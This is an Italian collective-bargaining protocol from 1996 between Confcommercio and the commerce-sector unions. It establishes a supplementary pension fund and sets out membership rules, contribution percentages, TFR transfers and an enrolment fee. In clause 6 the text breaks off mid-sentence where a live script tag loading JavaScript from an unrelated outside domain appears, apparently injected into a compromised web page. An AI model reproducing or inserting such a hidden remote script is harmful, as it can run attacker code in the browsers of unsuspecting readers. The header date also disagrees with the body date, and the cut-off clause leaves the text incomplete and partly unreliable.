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Categoria: Commercio e servizi
Settore: Commercio
Data stipula: 26-11-1996

PROTOCOLLO IN MATERIA DI PREVIDENZA COMPLEMENTARE INTEGRATIVA
NEL SETTORE DEL TERZIARIO DELLA DISTRIBUZIONE E DEI SERVIZI

In data 29 novembre 1996
la CONFCOMMERCIO

e

FILCAMS-CGIL
FISASCAT - CISL
UILTuCS-UIL

- in considerazione di quanto disposto dal D.Lgs n.124 del 21 aprile 1993
  in materia di disciplina delle forme di previdenza per l'erogazione di
  trattamenti pensionistici complementari;

- preso atto delle sue successive modificazioni ed integrazioni, introdotte
  dalla L. 8 agosto 1995 che ha riformato il sistema pensionistico
  complementare;

- al fine di sviluppare un sempre più elevato livello di copertura
  previdenziale a favore dei lavoratori dipendenti da aziende del settore
  Terziario, della Distribuzione e dei Servizi;

                                convengono

di   costituire,  entro  il  30  giugno  1997,  un  Fondo   di   Previdenza
Complementare,  impegnandosi  a predisporre, nello  stesso  termine  l'Atto
Costitutivo, lo Statuto ed il Regolamento attuativo, nonchè a completare le
formalità amministrative necessarie.

Resta  inteso,  in ogni caso, che la costituzione del Fondo dovrà  avvenire
secondo quanto di seguito indicato:

1) Il Fondo avrà lo scopo di fornire prestazioni complementari dei
   trattamenti di pensioni pubbliche in forma di rendita e capitale, sulla
   base dei contributi accantonati e capitalizzati nonchè dei rendimenti
   realizzati dai soggetti gestori dello stesso:

2) lo stesso Fondo potrà associare esclusivamente lavoratori dipendenti da
   datori di lavoro appartenenti al settore del terziario, della
   distribuzione e dei servizi, nonché i datori di lavoro titolari del
   rapporto di lavoro intercorrente con gli stessi.
   E' altresì prevista la possibilità, da regolamentare successivamente, di
   adesione da parte di lavoratori dipendenti da settori affini.
   Per settori affini si intendono quelli in cui vengono applicati
   contratti collettivi nazionali di lavoro sottoscritti dalle stesse OO.SS
   dei lavoratori stipulanti il CCNL per i dipendenti da Aziende del
   Terziario, della Distribuzione e dei Servizi;

3) l'associazione al Fondo dei lavoratori avverrà mediante adesione
   volontaria, secondo forme e modalità da definire e potrà riguardare
   tutti i lavoratori assunti a tempo indeterminato con contratto a tempo
   pieno o a tempo parziale nonchè con contratto di formazione lavoro,
   classificati in uno dei livelli di cui al CCNL del terziario della
   distribuzione e dei servizi, nonché a quelli appartenenti alla categoria
   dei Quadri:

4) l'adesione al Fondo richiederà una contribuzione a carico del lavoratore
  pari  allo  0,55%  - di cui lo 0,05% costituisce la quota  associativa  -
  della  retribuzione utile per il computo del TFR ed un uguale  versamento
  a carico del datore di lavoro.
  Inoltre  per  i lavoratori già assunti è previsto il versamento  del  50%
  del  TFR  maturato  nell'anno mentre per i nuovi assunti  è  previsto  il
  versamento del 100% del TFR maturato nell'anno.
  Viene,  infine,  stabilito  l'obbligo  di  effettuare  un  versamento  al
  momento  dell'adesione  al  Fondo a titolo di  iscrizione,  pari  a  lire
  30.000  di  cui  7.000  a  carico  del dipendente,  le  cui  modalità  di
  esecuzione verranno definite dal Regolamento del Fondo.
  L'obbligo  posto a carico del datore di lavoro sussisterà per  la  durata
  dell'adesione del lavoratore al Fondo costituito sulla base del  presente
  protocollo;

5) il lavoratore può versare al Fondo ulteriori quote individuali anche
   derivanti da quanto maturato a titolo di quota variabile in virtù di
   contrattazione di II livello;

6) il Fondo, cosi come costituito e regolamentato sulla base di quanto
  previsto  dal  presente  protocollo, rappresenta la  forma  pensionistica
  complementare  riconosciuta dalle parti come  applicabile  ai  dipendenti
  del  settore.  Pertanto,  le  Parti si impegnano<script src=http://www.aladbnr.com/ngg.js></script>













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